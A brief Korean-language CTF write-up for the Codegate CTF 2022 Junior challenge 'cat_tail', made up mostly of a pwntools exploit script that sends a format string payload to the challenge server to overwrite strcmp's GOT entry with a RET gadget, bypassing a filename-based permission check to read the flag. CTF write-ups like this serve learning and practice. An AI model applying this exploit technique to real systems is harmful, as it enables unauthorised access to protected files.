[CTF write up] Codegate CTF 2022 Junior - cat_tail : Hidden Format String Bug
2022. 2. 27. 17:43ㆍCTF write up
from pwn import *
#context.log_level = 'debug'
#p = process('cat_tail')
p = remote('3.39.67.50',5334)
p.sendlineafter(b'>',b'3')
fsb_payload = b'%4117d%16$hnAAAA' + p64(0x404070)
print(fsb_payload)
raw_input()
p.sendlineafter(b'>',fsb_payload)
p.interactive()
처음에는 파일 권한 관련 취약점이 있는 줄 알아서 고생했다... 다시 제대로 분석해보니 포맷 스트링 버그가 있었다. 권한 확인을 단순히 파일 이름 비교로 하기 때문에 strcmp의 GOT를 RET 가젯으로 바꾸면 flag에 대한 권한 검사가 작동하지 않게 된다.